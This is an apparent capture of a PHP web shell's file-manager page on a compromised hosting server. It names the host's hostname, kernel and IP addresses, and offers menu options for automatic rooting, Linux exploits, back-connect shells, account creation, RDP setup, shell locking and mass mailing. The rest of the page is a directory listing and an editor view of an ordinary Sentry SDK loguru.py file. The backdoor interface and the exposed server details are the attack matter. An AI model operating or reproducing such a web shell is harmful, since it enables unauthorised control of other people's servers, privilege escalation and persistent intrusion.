Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 13.59.248.75
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
sentry_sdk /
integrations /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
django
[ DIR ]
drwxr-xr-x
grpc
[ DIR ]
drwxr-xr-x
opentelemetry
[ DIR ]
drwxr-xr-x
redis
[ DIR ]
drwxr-xr-x
spark
[ DIR ]
drwxr-xr-x
__init__.py
6.67
KB
-rw-r--r--
_wsgi_common.py
4.43
KB
-rw-r--r--
aiohttp.py
11.28
KB
-rw-r--r--
argv.py
963
B
-rw-r--r--
arq.py
6.58
KB
-rw-r--r--
asgi.py
11.54
KB
-rw-r--r--
asyncio.py
2.98
KB
-rw-r--r--
atexit.py
1.8
KB
-rw-r--r--
aws_lambda.py
15.44
KB
-rw-r--r--
beam.py
5.56
KB
-rw-r--r--
boto3.py
4.44
KB
-rw-r--r--
bottle.py
6.32
KB
-rw-r--r--
celery.py
18.65
KB
-rw-r--r--
chalice.py
4.66
KB
-rw-r--r--
cloud_resource_context.py
6.6
KB
-rw-r--r--
dedupe.py
1.16
KB
-rw-r--r--
excepthook.py
2.21
KB
-rw-r--r--
executing.py
1.99
KB
-rw-r--r--
falcon.py
7.8
KB
-rw-r--r--
fastapi.py
4.39
KB
-rw-r--r--
flask.py
7.72
KB
-rw-r--r--
gcp.py
8.02
KB
-rw-r--r--
gnu_backtrace.py
2.86
KB
-rw-r--r--
httpx.py
4.89
KB
-rw-r--r--
huey.py
4.59
KB
-rw-r--r--
logging.py
8.97
KB
-rw-r--r--
loguru.py
2.98
KB
-rw-r--r--
modules.py
2.06
KB
-rw-r--r--
pure_eval.py
4.45
KB
-rw-r--r--
pymongo.py
5.87
KB
-rw-r--r--
pyramid.py
7.27
KB
-rw-r--r--
quart.py
7.2
KB
-rw-r--r--
rq.py
5.28
KB
-rw-r--r--
sanic.py
11.06
KB
-rw-r--r--
serverless.py
1.93
KB
-rw-r--r--
socket.py
2.88
KB
-rw-r--r--
sqlalchemy.py
4.14
KB
-rw-r--r--
starlette.py
22.67
KB
-rw-r--r--
starlite.py
9.85
KB
-rw-r--r--
stdlib.py
8.06
KB
-rw-r--r--
threading.py
2.87
KB
-rw-r--r--
tornado.py
7.17
KB
-rw-r--r--
trytond.py
1.7
KB
-rw-r--r--
wsgi.py
9.36
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : loguru.py
from __future__ import absolute_import import enum from sentry_sdk._types import TYPE_CHECKING from sentry_sdk.integrations import Integration, DidNotEnable from sentry_sdk.integrations.logging import ( BreadcrumbHandler, EventHandler, _BaseHandler, ) if TYPE_CHECKING: from logging import LogRecord from typing import Optional, Tuple try: import loguru from loguru import logger from loguru._defaults import LOGURU_FORMAT as DEFAULT_FORMAT except ImportError: raise DidNotEnable("LOGURU is not installed") class LoggingLevels(enum.IntEnum): TRACE = 5 DEBUG = 10 INFO = 20 SUCCESS = 25 WARNING = 30 ERROR = 40 CRITICAL = 50 DEFAULT_LEVEL = LoggingLevels.INFO.value DEFAULT_EVENT_LEVEL = LoggingLevels.ERROR.value # We need to save the handlers to be able to remove them later # in tests (they call `LoguruIntegration.__init__` multiple times, # and we can't use `setup_once` because it's called before # than we get configuration). _ADDED_HANDLERS = (None, None) # type: Tuple[Optional[int], Optional[int]] class LoguruIntegration(Integration): identifier = "loguru" def __init__( self, level=DEFAULT_LEVEL, event_level=DEFAULT_EVENT_LEVEL, breadcrumb_format=DEFAULT_FORMAT, event_format=DEFAULT_FORMAT, ): # type: (Optional[int], Optional[int], str | loguru.FormatFunction, str | loguru.FormatFunction) -> None global _ADDED_HANDLERS breadcrumb_handler, event_handler = _ADDED_HANDLERS if breadcrumb_handler is not None: logger.remove(breadcrumb_handler) breadcrumb_handler = None if event_handler is not None: logger.remove(event_handler) event_handler = None if level is not None: breadcrumb_handler = logger.add( LoguruBreadcrumbHandler(level=level), level=level, format=breadcrumb_format, ) if event_level is not None: event_handler = logger.add( LoguruEventHandler(level=event_level), level=event_level, format=event_format, ) _ADDED_HANDLERS = (breadcrumb_handler, event_handler) @staticmethod def setup_once(): # type: () -> None pass # we do everything in __init__ class _LoguruBaseHandler(_BaseHandler): def _logging_to_event_level(self, record): # type: (LogRecord) -> str try: return LoggingLevels(record.levelno).name.lower() except ValueError: return record.levelname.lower() if record.levelname else "" class LoguruEventHandler(_LoguruBaseHandler, EventHandler): """Modified version of :class:`sentry_sdk.integrations.logging.EventHandler` to use loguru's level names.""" class LoguruBreadcrumbHandler(_LoguruBaseHandler, BreadcrumbHandler): """Modified version of :class:`sentry_sdk.integrations.logging.BreadcrumbHandler` to use loguru's level names."""
Close